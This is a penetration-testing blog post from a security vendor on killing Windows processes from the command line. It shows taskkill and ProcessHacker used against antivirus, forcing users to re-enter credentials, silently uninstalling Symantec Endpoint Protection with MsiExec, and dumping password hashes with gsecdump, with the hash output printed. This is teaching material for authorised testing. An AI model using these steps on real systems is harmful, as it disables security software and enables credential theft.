CVE-2024-3400: PAN-OS Command Injection Vulnerability in GlobalProtect Gateway. Learn More

CVE-2024-3400: PAN-OS Command Injection Vulnerability in GlobalProtect Gateway. Learn More

Services
Capture
Managed Detection & Response

Eliminate active threats with 24/7 threat detection, investigation, and response.

twi-managed-portal-color
Co-Managed SOC (SIEM)

Maximize your SIEM investment, stop alert fatigue, and enhance your team with hybrid security operations support.

twi-briefcase-color-svg
Advisory & Diagnostics

Advance your cybersecurity program and get expert guidance where you need it most.

tw-laptop-data
Penetration Testing

Test your physical locations and IT infrastructure to shore up weaknesses before exploitation.

twi-database-color-svg
Database Security

Prevent unauthorized access and exceed compliance requirements.

twi-email-color-svg
Email Security

Stop email threats others miss and secure your organization against the #1 ransomware attack vector.

tw-officer
Digital Forensics & Incident Response

Prepare for the inevitable with 24/7 global breach response in-region and available on-site.

tw-network
Firewall & Technology Management

Mitigate risk of a cyberattack with 24/7 incident and health monitoring and the latest threat intelligence.

Solutions
BY TOPIC
Offensive Security
Solutions to maximize your security ROI
Microsoft Exchange Server Attacks
Stay protected against emerging threats
Rapidly Secure New Environments
Security for rapid response situations
Securing the Cloud
Safely navigate and stay protected
Securing the IoT Landscape
Test, monitor and secure network objects
Why Trustwave
About Us
Awards and Accolades
Trustwave SpiderLabs Team
Trustwave Fusion Security Operations Platform
Trustwave Security Colony
Partners
Technology Alliance Partners
Key alliances who align and support our ecosystem of security offerings
Trustwave PartnerOne Program
Join forces with Trustwave to protect against the most advance cybersecurity threats
SpiderLabs Blog

Wendel's Small Hacking Tricks - Killing Processes from the Microsoft Windows Command Line interface.

Since 2003 a large part of my workday has been devoted solely to hacking systems. Over this time I've collected a number of penetration testing tips and plan to write a number of posts to share them. This is the second post in the "Wendel's Small Hacking Tricks" series and will explain different ways to kill applications and processes from the Microsoft Windows command line interface. The first post in the series discussed methods of hacking Microsoft SQL Server.

*** How to use PsKill.exe ***

PsKill is probably the oldest and most common method of killing processes via Microsoft Windows Command Line. Mark Russinovich from Sysinternals developed the tool a long time ago, and now both Mark and the tool are part of Microsoft. The very first step is to execute the tool with the "-accepteula" option so you are actually able to use it.

c:\> pskill -accepteula

Now we are good to kill any processes by passing the PID number as an argument to PsKill.

c:\> pskill $PID-Number

Replace "$PID-Number" with your target Process ID. If you want to list the available processes that can be killed you may use "pslist.exe" command that has been developed by the same person. Don't forget to use the "-accepteula" first.


*** How to kill a Microsoft Windows process via command-line WITHOUT pskill.exe ***

Modern versions of Microsoft Windows come with the built-in "taskkill" command, which makes killing a process very simple:

C:\> taskkill -pid $PID-Number /T /F

Replace "$PID-Number" with your target Process ID. If you want to kill a process by name you should execute:

C:\> taskkill -im "$Process-Name" /T /F

You can also replace "$Process-Name" with a process name such as iexplore.exe to close Internet Explorer and force current user to open it again and insert their credentials on a website that you are targeting or monitoring.

*** How to use ProcessHacker via command-line ***

You can also use a nifty tool called ProcessHacker to kill and suspend processes (see http://processhacker.sourceforge.net). I often use it to kill or suspend the Antivirus process and bypass it. :)

c:\> ProcessHacker.exe -c -ctype process -cobject $PID-Number -caction terminate

You may also suspend it as demonstrated below:

c:\> ProcessHacker.exe -c -ctype process -cobject $PID-Number –caction suspend

As a penetration tester, I often need to find a way to bypass AntiVirus, kill Antivirus is one of the methods that may or may not work, so, before waste a lot of time trying to kill your target Antivirus just check for common methods provided to disable and uninstall it.

Just as a bonus I will show how an Antivirus prevented me from dump password hashes even with SYSTEM privilege on a Windows 7.

C:\Windows\Temp>wce32.exe -w

WCE v1.3beta (Windows Credentials Editor) - (c) 2010,2011,2012 Amplia Security - by Hernan Ochoa (hernan@ampliasecurity.com)

Use -h for help.

ERROR: Cannot find dependencies

C:\Windows\Temp>

 

C:\Windows\Temp>gsecdump.exe -a

compat: error: failed to create child process

C:\Windows\Temp>

I tried to extract password hashes from this box and it failed. Checking process list I found that SEP (Symantec Endpoint Protection) is installed and it's likely to be the issue.

Just uninstall the product as described on the online documentation.

First, list the product code:

C:\Windows\Temp>reg query HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ /s

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{C2103AF2-E66C-446B-9791-9207840EC821}

AuthorizedCDFPrefix REG_SZ

Comments REG_SZ

Contact REG_SZ

DisplayVersion REG_SZ 12.1.2015.2015

HelpLink REG_SZ

HelpTelephone REG_SZ

InstallDate REG_SZ 20130409

InstallLocation REG_SZ C:\Program Files (x86)\Symantec\Symantec Endpoint Protection\12.1.2015.2015.105\

InstallSource REG_SZ C:\Program Files (x86)\Symantec\Symantec Endpoint Protection\12.1.671.4971.105\Bin64\SmcLU\Setup\

ModifyPath REG_EXPAND_SZ MsiExec.exe /I{C2103AF2-E66C-446B-9791-9207840EC821}

Publisher REG_SZ Symantec Corporation

Readme REG_SZ

Size REG_SZ

EstimatedSize REG_DWORD 0x9e186

SystemComponent REG_DWORD 0x0

UninstallString REG_EXPAND_SZ MsiExec.exe /I{C2103AF2-E66C-446B-9791-9207840EC821}

URLInfoAbout REG_SZ

URLUpdateInfo REG_SZ

VersionMajor REG_DWORD 0xc

VersionMinor REG_DWORD 0x1

WindowsInstaller REG_DWORD 0x1

Version REG_DWORD 0xc0107df

Language REG_DWORD 0x409

DisplayName REG_SZ Symantec Endpoint Protection

DisplayIcon REG_SZ C:\Program Files (x86)\Symantec\Symantec Endpoint Protection\12.1.2015.2015.105\Bin\SymCorpUI.exe

With the product code, let's call MsiExec.exe to uninstall it. This tool is a Microsoft application that handles installation, modification and removal on Windows Installer.

C:\Windows\Temp>MsiExec.exe /norestart /q/x{C2103AF2-E66C-446B-9791-9207840EC821} REMOVE=ALL /lv!* c:\uninstallSPL.txt

The command above tries to uninstall SEP by its product code from command-line and store the results at a file. Wait a few seconds and keep checking for the created file.

C:\>dir c:\*SPL*.*

Volume in drive C has no label.

Volume Serial Number is D0CD-97E0

Directory of c:\

03/21/2014 12:11 PM 5,378,910 uninstallSPL.txt

1 File(s) 5,378,910 bytes

0 Dir(s) 53,107,503,104 bytes free

C:\>

Looking at the log a few minutes later I confirmed that SEP was uninstalled and now dump password hashes worked.

C:\Windows\Temp>gsecdump.exe -a

SPL\Whenrique::a4edc6b5710af08e56037f5c70631236:b9a3169463d55ef2f3babb21494f0c40:::
Administrator:500:abe3c93585880c0c01d3493835b704b3:aa550c63ccf345002e453536f73d52c0:::

C:\Windows\Temp>

There are cases where a password is required, but you may also try disabling it from registry, and so on. I just used the dump password hashes as a example, there are ways easier to do it, for example dump LSASS process from memory and recover the credentials offline, etc.

I hope you have enjoyed these simple, yet very useful tips.

Stay tuned for more Wendel's Small Hacking Tricks.

Latest SpiderLabs Blogs

EDR – The Multi-Tool of Security Defenses

This is Part 8 in my ongoing project to cover 30 cybersecurity topics in 30 weekly blog posts. The full series can be found here.

Read More

The Invisible Battleground: Essentials of EASM

Know your enemy – inside and out. External Attack Surface Management tools are an effective way to understand externally facing threats and help plan cyber defenses accordingly. Let’s discuss what...

Read More

Fake Dialog Boxes to Make Malware More Convincing

Let’s explore how SpiderLabs created and incorporated user prompts, specifically Windows dialog boxes into its malware loader to make it more convincing to phishing targets during a Red Team...

Read More